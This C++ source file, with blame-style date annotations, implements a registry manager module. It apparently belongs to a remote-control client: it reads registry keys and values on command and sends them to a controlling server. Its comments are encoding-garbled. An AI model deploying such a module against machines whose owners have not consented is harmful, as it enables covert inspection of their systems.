2019-01-05 20:21:43 +08:00
|
|
|
|
// RegisterManager.cpp: implementation of the CRegisterManager class.
|
|
|
|
|
|
//
|
|
|
|
|
|
//////////////////////////////////////////////////////////////////////
|
|
|
|
|
|
|
|
|
|
|
|
#include "stdafx.h"
|
|
|
|
|
|
#include "RegisterManager.h"
|
|
|
|
|
|
#include "Common.h"
|
|
|
|
|
|
#include <IOSTREAM>
|
|
|
|
|
|
using namespace std;
|
|
|
|
|
|
//////////////////////////////////////////////////////////////////////
|
|
|
|
|
|
// Construction/Destruction
|
|
|
|
|
|
//////////////////////////////////////////////////////////////////////
|
|
|
|
|
|
|
|
|
|
|
|
CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
|
|
|
|
|
|
{
|
|
|
|
|
|
BYTE bToken=TOKEN_REGEDIT;
|
|
|
|
|
|
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
CRegisterManager::~CRegisterManager()
|
|
|
|
|
|
{
|
2025-01-15 18:49:15 +08:00
|
|
|
|
Mprintf("CRegisterManager <20><><EFBFBD><EFBFBD>\n");
|
2019-01-05 20:21:43 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
VOID CRegisterManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|
|
|
|
|
{
|
|
|
|
|
|
switch (szBuffer[0])
|
|
|
|
|
|
{
|
|
|
|
|
|
case COMMAND_REG_FIND: //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
|
|
|
|
if(ulLength>3){
|
|
|
|
|
|
Find(szBuffer[1],(char*)(szBuffer+2));
|
|
|
|
|
|
}else{
|
|
|
|
|
|
Find(szBuffer[1],NULL); //Root<6F><74><EFBFBD><EFBFBD>
|
|
|
|
|
|
}
|
|
|
|
|
|
break;
|
|
|
|
|
|
default:
|
|
|
|
|
|
break;
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
VOID CRegisterManager::Find(char bToken, char *szPath)
|
|
|
|
|
|
{
|
|
|
|
|
|
RegisterOperation Opt(bToken);
|
|
|
|
|
|
if(szPath!=NULL)
|
|
|
|
|
|
{
|
|
|
|
|
|
Opt.SetPath(szPath);
|
|
|
|
|
|
}
|
|
|
|
|
|
char *szBuffer= Opt.FindPath();
|
|
|
|
|
|
if(szBuffer!=NULL)
|
|
|
|
|
|
{
|
|
|
|
|
|
m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer));
|
|
|
|
|
|
//Ŀ¼<C4BF>µ<EFBFBD>Ŀ¼
|
|
|
|
|
|
LocalFree(szBuffer);
|
|
|
|
|
|
}
|
|
|
|
|
|
szBuffer = Opt.FindKey();
|
|
|
|
|
|
if(szBuffer!=NULL)
|
|
|
|
|
|
{
|
|
|
|
|
|
//Ŀ¼<C4BF>µ<EFBFBD><C2B5>ļ<EFBFBD>
|
|
|
|
|
|
m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer));
|
|
|
|
|
|
LocalFree(szBuffer);
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|